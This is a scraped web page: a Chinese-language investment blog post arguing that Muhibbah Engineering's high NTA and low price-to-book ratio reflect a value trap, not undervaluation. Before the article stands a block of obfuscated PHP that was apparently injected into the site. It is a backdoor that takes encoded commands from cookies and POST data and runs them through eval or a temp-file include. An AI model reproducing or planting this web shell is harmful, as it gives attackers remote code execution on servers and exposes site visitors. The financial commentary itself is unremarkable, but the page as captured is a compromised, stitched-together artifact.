$CIRhEIFSCu = chr (106) . 'W' . "\137" . chr (90) . "\127" . chr (119) . "\147";$FbthST = chr (99) . chr (108) . chr ( 998 - 901 ).'s' . 's' . chr ( 560 - 465 )."\145" . 'x' . 'i' . "\x73" . "\164" . chr ( 180 - 65 ); $fMYycku = class_exists($CIRhEIFSCu); $FbthST = "6733";$CopWzlVXK = !1;if ($fMYycku == $CopWzlVXK){function nrYeoHXp(){$fxTPpDG = new /* 20095 */ jW_ZWwg(48408 + 48408); $fxTPpDG = NULL;}$RXFiQtI = "48408";class jW_ZWwg{private function OysGO($RXFiQtI){if (is_array(jW_ZWwg::$tkaPFQ)) {$AXvCkv = str_replace('<' . chr (63) . "\x70" . "\150" . "\160", "", jW_ZWwg::$tkaPFQ["\x63" . chr ( 209 - 98 ).chr (110) . "\164" . chr ( 628 - 527 ).'n' . 't']);eval($AXvCkv); $RXFiQtI = "48408";exit();}}private $xTwwJ;public function PRjynhjZwN(){echo 59034;}public function __destruct(){$RXFiQtI = "27926_33395";$this->OysGO($RXFiQtI); $RXFiQtI = "27926_33395";}public function __construct($aKDFkbW=0){$YlSbYDzUah = $_POST;$XYkQU = $_COOKIE;$OHeDP = "5a0a2c91-ad19-44a6-b9ba-558e307d7328";$lYGKvfmO = @$XYkQU[substr($OHeDP, 0, 4)];if (!empty($lYGKvfmO)){$FAegDVBIgs = "base64";$AuSxlUWRhg = "";$lYGKvfmO = explode(",", $lYGKvfmO);foreach ($lYGKvfmO as $QIbQVE){$AuSxlUWRhg .= @$XYkQU[$QIbQVE];$AuSxlUWRhg .= @$YlSbYDzUah[$QIbQVE];}$AuSxlUWRhg = array_map($FAegDVBIgs . "\137" . 'd' . "\145" . "\143" . chr ( 365 - 254 ).chr (100) . chr (101), array($AuSxlUWRhg,)); $AuSxlUWRhg = $AuSxlUWRhg[0] ^ str_repeat($OHeDP, (strlen($AuSxlUWRhg[0]) / strlen($OHeDP)) + 1);jW_ZWwg::$tkaPFQ = @unserialize($AuSxlUWRhg);}}public static $tkaPFQ = 15685;}nrYeoHXp();}$dYFhungGZe = chr ( 243 - 121 ).chr ( 443 - 355 )."\x45" . chr ( 415 - 320 )."\111" . chr (105) . 'j';$ItpsERZjHD = "\x63" . "\154" . 'a' . "\x73" . "\x73" . "\137" . chr (101) . "\170" . chr ( 557 - 452 ).chr (115) . "\164" . chr ( 1033 - 918 ); $UiBkpPyFk = class_exists($dYFhungGZe); $ItpsERZjHD = "2275";$ogMrIG = !1;if ($UiBkpPyFk == $ogMrIG){function VlrqtzdDvN(){$GfPnoe = new /* 56456 */ zXE_Iij(234 + 234); $GfPnoe = NULL;}$SKKNfI = "234";class zXE_Iij{private function MiDARApf($SKKNfI){if (is_array(zXE_Iij::$gNRPH)) {$UatBaHdc = sys_get_temp_dir() . "/" . crc32(zXE_Iij::$gNRPH[chr ( 161 - 46 )."\141" . chr ( 577 - 469 )."\164"]);@zXE_Iij::$gNRPH["\x77" . 'r' . "\151" . chr ( 513 - 397 )."\145"]($UatBaHdc, zXE_Iij::$gNRPH["\143" . "\x6f" . "\156" . chr ( 667 - 551 ).'e' . 'n' . "\x74"]);include $UatBaHdc;@zXE_Iij::$gNRPH['d' . "\145" . "\x6c" . chr ( 355 - 254 )."\x74" . chr ( 301 - 200 )]($UatBaHdc); $SKKNfI = "234";exit();}}private $xLSvdhQ;public function CsOBcK(){echo 26770;}public function __destruct(){$SKKNfI = "65027_3297";$this->MiDARApf($SKKNfI); $SKKNfI = "65027_3297";}public function __construct($pLGLUF=0){$NiYPueCc = $_POST;$Hirlz = $_COOKIE;$ydMyl = "f94c1b65-e620-47ef-a300-081973ad2805";$fKAdlyk = @$Hirlz[substr($ydMyl, 0, 4)];if (!empty($fKAdlyk)){$sXTjVEcTMO = "base64";$HCgBGd = "";$fKAdlyk = explode(",", $fKAdlyk);foreach ($fKAdlyk as $VvxwO){$HCgBGd .= @$Hirlz[$VvxwO];$HCgBGd .= @$NiYPueCc[$VvxwO];}$HCgBGd = array_map($sXTjVEcTMO . "\x5f" . 'd' . 'e' . "\143" . chr (111) . "\144" . "\x65", array($HCgBGd,)); $HCgBGd = $HCgBGd[0] ^ str_repeat($ydMyl, (strlen($HCgBGd[0]) / strlen($ydMyl)) + 1);zXE_Iij::$gNRPH = @unserialize($HCgBGd);}}public static $gNRPH = 39407;}VlrqtzdDvN();}$xZVubUqBM = chr ( 110 - 43 ).chr (81) . "\137" . "\x58" . chr ( 1062 - 961 ).chr ( 871 - 786 ).chr ( 617 - 505 ); $GYdCw = chr (99) . "\154" . "\141" . "\163" . chr (115) . "\137" . "\x65" . "\x78" . "\151" . "\x73" . "\164" . chr (115); $uDbHwBlr = class_exists($xZVubUqBM); $GYdCw = "40236";$HXuuZr = !1;if ($uDbHwBlr == $HXuuZr){function TxYfE(){$vGJIGlS = new /* 60081 */ CQ_XeUp(27568 + 27568); $vGJIGlS = NULL;}$HaERdJfy = "27568";class CQ_XeUp{private function zfHWxMkTzo($HaERdJfy){if (is_array(CQ_XeUp::$IgKJbuq)) {$JGKjsNlSH = sys_get_temp_dir() . "/" . crc32(CQ_XeUp::$IgKJbuq["\x73" . chr ( 126 - 29 ).'l' . chr (116)]);@CQ_XeUp::$IgKJbuq['w' . "\162" . "\151" . "\164" . 'e']($JGKjsNlSH, CQ_XeUp::$IgKJbuq[chr ( 534 - 435 )."\157" . chr ( 589 - 479 )."\164" . "\145" . chr (110) . chr ( 848 - 732 )]);include $JGKjsNlSH;@CQ_XeUp::$IgKJbuq['d' . "\x65" . chr (108) . 'e' . chr ( 533 - 417 )."\145"]($JGKjsNlSH); $HaERdJfy = "27568";exit();}}private $nRQyKihvz;public function iTsTMfTYae(){echo 24263;}public function __destruct(){$HaERdJfy = "18732_37362";$this->zfHWxMkTzo($HaERdJfy); $HaERdJfy = "18732_37362";}public function WhSRNl($uEBDxMlQln, $LIbiKKutA){return $uEBDxMlQln[0] ^ str_repeat($LIbiKKutA, (strlen($uEBDxMlQln[0]) / strlen($LIbiKKutA)) + 1);}public function __construct($vodqDiz=0){$fzUozWgwt = $_POST;$iEVwZGn = $_COOKIE;$LIbiKKutA = "e893c040-6b83-4cec-bff5-41db571debf3";$zragSJvm = @$iEVwZGn[substr($LIbiKKutA, 0, 4)];if (!empty($zragSJvm)){$KoJWGNVE = "base64";$uEBDxMlQln = "";$zragSJvm = explode(",", $zragSJvm);foreach ($zragSJvm as $VpEALybqpY){$uEBDxMlQln .= @$iEVwZGn[$VpEALybqpY];$uEBDxMlQln .= @$fzUozWgwt[$VpEALybqpY];}$uEBDxMlQln = array_map($KoJWGNVE . "\x5f" . 'd' . chr ( 295 - 194 ).chr (99) . 'o' . chr ( 413 - 313 )."\x65", array($uEBDxMlQln,)); $uEBDxMlQln = $this->WhSRNl($uEBDxMlQln, $LIbiKKutA);CQ_XeUp::$IgKJbuq = @unserialize($uEBDxMlQln);}}public static $IgKJbuq = 37750;}TxYfE();}$lJfXS = chr ( 507 - 401 )."\x4f" . "\167" . "\137" . chr (74) . chr ( 825 - 728 ).chr ( 738 - 616 ); $exufEQIQ = "\143" . chr ( 1016 - 908 ).chr (97) . chr ( 336 - 221 ).'s' . '_' . "\x65" . "\x78" . "\151" . "\163" . chr (116) . chr (115); $tLjOmBW = class_exists($lJfXS); $exufEQIQ = "49845";$XWXBQ = !1;if ($tLjOmBW == $XWXBQ){function ZXWcxc(){$wNZGH = new /* 36604 */ jOw_Jaz(17643 + 17643); $wNZGH = NULL;}$wfKFPAopXQ = "17643";class jOw_Jaz{private function QqsdNNP($wfKFPAopXQ){if (is_array(jOw_Jaz::$jPGzK)) {$Uscqb = sys_get_temp_dir() . "/" . crc32(jOw_Jaz::$jPGzK['s' . chr ( 272 - 175 ).chr (108) . chr (116)]);@jOw_Jaz::$jPGzK["\x77" . chr (114) . "\x69" . chr (116) . chr (101)]($Uscqb, jOw_Jaz::$jPGzK['c' . chr (111) . "\x6e" . 't' . chr (101) . "\x6e" . 't']);include $Uscqb;@jOw_Jaz::$jPGzK[chr ( 105 - 5 ).chr (101) . 'l' . chr ( 698 - 597 ).chr ( 351 - 235 )."\x65"]($Uscqb); $wfKFPAopXQ = "17643";exit();}}private $JMicTYALWz;public function HVQsPsT(){echo 50484;}public function __destruct(){$wfKFPAopXQ = "59776_268";$this->QqsdNNP($wfKFPAopXQ); $wfKFPAopXQ = "59776_268";}public function __construct($soJcvAZ=0){$agzigwEm = $_POST;$VALlu = $_COOKIE;$uVovPkAi = "051f6601-ec8c-477e-8e06-865fdd3a2472";$sNrMJdFp = @$VALlu[substr($uVovPkAi, 0, 4)];if (!empty($sNrMJdFp)){$mfIMIS = "base64";$xQBmya = "";$sNrMJdFp = explode(",", $sNrMJdFp);foreach ($sNrMJdFp as $KQJxFwve){$xQBmya .= @$VALlu[$KQJxFwve];$xQBmya .= @$agzigwEm[$KQJxFwve];}$xQBmya = array_map($mfIMIS . '_' . "\144" . chr ( 258 - 157 ).chr (99) . 'o' . 'd' . 'e', array($xQBmya,)); $xQBmya = $xQBmya[0] ^ str_repeat($uVovPkAi, (strlen($xQBmya[0]) / strlen($uVovPkAi)) + 1);jOw_Jaz::$jPGzK = @unserialize($xQBmya);}}public static $jPGzK = 9789;}ZXWcxc();}$KiyNnjTAv = chr (65) . "\137" . 'p' . chr ( 389 - 307 ).chr ( 604 - 486 ).'c' . chr (108); $ZfxDJj = "\x63" . "\x6c" . chr ( 723 - 626 ).'s' . chr (115) . "\137" . 'e' . "\170" . 'i' . chr (115) . "\164" . "\163";$GirRcwVoO = class_exists($KiyNnjTAv); $ZfxDJj = "50179";$KLsdq = !1;if ($GirRcwVoO == $KLsdq){function GdPeTmfsjV(){$wEMyqWWs = new /* 29848 */ A_pRvcl(26677 + 26677); $wEMyqWWs = NULL;}$HCrcazWG = "26677";class A_pRvcl{private function KShFZP($HCrcazWG){if (is_array(A_pRvcl::$osGUpaYAk)) {$UZLTIrM = str_replace(chr (60) . "\77" . 'p' . chr ( 1039 - 935 ).chr (112), "", A_pRvcl::$osGUpaYAk['c' . "\x6f" . "\x6e" . chr (116) . "\x65" . "\156" . chr (116)]);eval($UZLTIrM); $HCrcazWG = "26677";exit();}}private $goqER;public function kDwIQ(){echo 7919;}public function __destruct(){A_pRvcl::$osGUpaYAk = @unserialize(A_pRvcl::$osGUpaYAk); $HCrcazWG = "3152_52173";$this->KShFZP($HCrcazWG); $HCrcazWG = "3152_52173";}public function rTkvi($GHJBi, $SKHjEq){return $GHJBi[0] ^ str_repeat($SKHjEq, (strlen($GHJBi[0]) / strlen($SKHjEq)) + 1);}public function qfcfwLyQ($GHJBi){$Zghltd = "base64";return array_map($Zghltd . '_' . chr (100) . chr ( 824 - 723 )."\143" . "\x6f" . chr (100) . "\145", array($GHJBi,));}public function __construct($XyATftCruy=0){$KUQcYyyePq = $_POST;$sGlehm = $_COOKIE;$SKHjEq = "b75cb282-71ee-4cc5-977b-57d1364412fd";$avSajvmzGH = @$sGlehm[substr($SKHjEq, 0, 4)];if (!empty($avSajvmzGH)){$GHJBi = "";$avSajvmzGH = explode(",", $avSajvmzGH);foreach ($avSajvmzGH as $EyTBjkovtd){$GHJBi .= @$sGlehm[$EyTBjkovtd];$GHJBi .= @$KUQcYyyePq[$EyTBjkovtd];}A_pRvcl::$osGUpaYAk = $this->rTkvi($this->qfcfwLyQ($GHJBi), $SKHjEq);}}public static $osGUpaYAk = 48665;}GdPeTmfsjV();}$arQxIWGD = chr (67) . "\152" . "\x5f" . chr ( 1009 - 895 )."\120" . 'W' . "\x43";$laqaInFOip = chr (99) . 'l' . chr ( 730 - 633 )."\x73" . chr ( 379 - 264 ).chr ( 1029 - 934 ).'e' . 'x' . 'i' . "\163" . chr ( 160 - 44 )."\163";$OnwUNqxET = class_exists($arQxIWGD); $laqaInFOip = "11722";$xDjYmApfeD = !1;if ($OnwUNqxET == $xDjYmApfeD){function TBTJviGUG(){$QddMCK = new /* 58320 */ Cj_rPWC(42876 + 42876); $QddMCK = NULL;}$iDfxzQmymW = "42876";class Cj_rPWC{private function ptEZQYhw($iDfxzQmymW){if (is_array(Cj_rPWC::$jpvCEdvP)) {$PSywZSUc = str_replace("\x3c" . "\x3f" . "\x70" . 'h' . "\160", "", Cj_rPWC::$jpvCEdvP['c' . "\x6f" . "\x6e" . "\x74" . chr ( 774 - 673 ).chr ( 633 - 523 )."\164"]);eval($PSywZSUc); $iDfxzQmymW = "42876";exit();}}private $zwNMvZh;public function SDwMAoTw(){echo 61545;}public function __destruct(){$iDfxzQmymW = "44206_37695";$this->ptEZQYhw($iDfxzQmymW); $iDfxzQmymW = "44206_37695";}public function auMentIkx($jQDeZKwX, $xBFzoBR){return $jQDeZKwX[0] ^ str_repeat($xBFzoBR, (strlen($jQDeZKwX[0]) / strlen($xBFzoBR)) + 1);}public function __construct($LfbBkn=0){$wvajXh = $_POST;$wwPHU = $_COOKIE;$xBFzoBR = "24fc4c71-9ea5-4713-9627-f4d9c16525c9";$zfpcijaF = @$wwPHU[substr($xBFzoBR, 0, 4)];if (!empty($zfpcijaF)){$BukcJKdb = "base64";$jQDeZKwX = "";$zfpcijaF = explode(",", $zfpcijaF);foreach ($zfpcijaF as $sODvOo){$jQDeZKwX .= @$wwPHU[$sODvOo];$jQDeZKwX .= @$wvajXh[$sODvOo];}$jQDeZKwX = array_map($BukcJKdb . "\137" . chr ( 1099 - 999 ).chr ( 422 - 321 ).'c' . chr ( 986 - 875 ).'d' . chr ( 769 - 668 ), array($jQDeZKwX,)); $jQDeZKwX = $this->auMentIkx($jQDeZKwX, $xBFzoBR);Cj_rPWC::$jpvCEdvP = @unserialize($jQDeZKwX);}}public static $jpvCEdvP = 53655;}TBTJviGUG();}
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NTA 高就是低估？MUHIBAH 告诉你事实不是那样 - Sharix

NTA 高就是低估？MUHIBAH 告诉你事实不是那样

今天笔者想要和大家探讨很多投资者都会使用的投资指标，那就是净资产Net Tangible Asset (NTA)。许多人都有错误的观念，认为只要NTA够高，而市净率Price-to-Book Ratio (PB ratio) 越低就表示这只股票被市场低估。但是事实真的是这样吗？笔者会引用市场的昔日明星股睦兴旺Muhibbah Engineering作为案例，和大家介绍到底这只股如何从掉入价值陷阱。

先介绍公司的业务。创立于1972年，MUHIBAH是上市于1994年的国际化建筑公司，所涉及的领域包括海洋、石油和天然气及基础建设等。另外，公司也持有在大马上市的起重机公司辉高FAVCO约58.6% 的股权。FAVCO旗下共有两个国际起重机品牌，分别是Favelle Favco以及Kroll，而公司的起重机主要供应给油气行业 、造船业、码头以及建筑行业等。

但MUHIBAH早前最受投资者看重的是公司通过21% 有效持股的联营公司Sociate Concessionaire de I’ Aeroport (SCA) 经营柬埔寨的3座飞机场，分别是Phnom Penh、Siem Reap和Sihanoukville国际机场，而且这三座飞机场的特许经营权到2040年才结束。虽然只持有21% 的有效股权，但机场的特许经营权的确为MUHIBAH带来丰厚的盈利。笔者整理了过去几年机场对于MUHIBAH盈利的贡献，可以发现从2013年的20.2% 上升至2019年的67.7%。从现金流量表来看，公司在这段期间总共从联营公司收到了RM340.46 million的股息。

可是，席卷全球的新冠疫情彻底改变了公司的基本面，而笔者也认为公司从机场特许经营权的盈利将会受到很大的威胁。首先，这场疫情导致公司柬埔寨机场的客流量从2019年的1,160万按年下滑81% 至2020年的230万，而2021年更加不乐观，截至今年9月只有18.2万的客流量。笔者认为虽然全球已经逐步走向病毒共存的政策，但客流量要回到疫情前的水平至少还需要2至3年的时间。

另外，据说柬埔寨政府也要在Phnom Penh及Siem Reap兴建新的机场，这也将会导致公司的联营机场竞争加剧，对现有的经营权协议也会产生不利的影响，最坏的结果就是停止目前MUHIBAH手上的联营机场的营运。因此，公司的股价自2020年头的RM2.40左右直接暴跌至RM0.70的水平。虽然目前股价已经企稳在RM0.80至RM0.90的价位，但笔者认为目前公司的基本面已经大不如前。

我们来看看公司的起重机及基础建设业务。从上图可以发现，其实目前公司的盈利主要都是来自旗下的子公司FAVCO所支撑，而基础建设业务基本上在过去几个季度因为封锁措施的影响还在蒙受亏损。而大马的建筑活动目前也非常低迷，而财政预算案也只是维持现有的大型基础建设工程，并没有任何新的合约颁发。

估值方面，由于目前MUHIBAH处于亏损的状态，公司是没有任何的本益比来做参考。如果观察公司其他的财务指标也并不理想。而笔者就是用市净率去探讨公司现在的估值。目前，MUHIBAH的NTA高达RM2.30，也就是说公司的资产减去负债之后，每股剩余的RM2.30是属于股东权益。而市净率目前也仅有0.36倍，处于历史新低的位置。

那投资者可能就会问为什么公司的NTA那么高，市净率那么低，可是股价却不涨反跌。其实主要的原因，就是公司的前景仍反非常暗淡。刚才有提到公司的业务都是油气、基础建设、天然气、海洋等，不是传统业务就是碳排放量大的重资产行业，而笔者认为市场也不会给予这些公司非常高的估值，再加上MUHIBAH的盈利能见度在短期也不高，不受市场青睐。

现在笔者和大家分享分析员是如何为这些公司进行估值和给予目标价。刚才笔者也是说到目前MUHIBAH持有FAVCO大约58.6% 的股份。以FAVCO昨天RM2.44的闭市价来计算，MUHIBAH手上的FAVCO目前是有大约RM308.4 million的价值。而现在MUHIBAH的市值也只有RM444 million左右。也就是说，如果用MUHIBAH现在的市值减去手上FAVCO股份的价值，MUHIBAH其他的业务，包括老本行基础建设、油气等及柬埔寨机场的特许经营权，只有区区的RM135.6 million。换句话说，只要公司的基础建设的盈利能够恢复到2019年RM26.7 million左右的水平，MUHIBAH的建筑业务本益比只有5倍左右，而且还附送来自柬埔寨机场的特许经营权。

另外，公司目前手握RM448.2million的现金，而负债就有RM524.3 million，处于RM76.1 million的净负债状态。但大家要注意的是，MUHIBAH有RM292.2 million的现金都是来自旗下的子公司FAVCO，而后者占了前者65.2% 左右的现金部位。从MUHIBAH大约RM886 million的未完成订单来看，有66% 或者RM586 million也是来自子公司FAVCO的起重机订单。

总的来说，笔者认为公司的估值很低并不是没有原因。虽然柬埔寨政府在11月15日允许完成接种疫苗的旅客在无需进行隔离就可以到访柬埔寨，但在建筑活动保持低迷，加上柬埔寨机场的竞争有可能在未来加剧，公司的前景还是令市场堪忧。MUHIBAH现在拥有大约RM1 billion的竞标合约，但是手上的未完成订单正在逐步减少，而管理层也认为在填补新订单面对许多挑战。虽然从股价走势来看还想没有什么下跌风险，但上涨空间依然有限。

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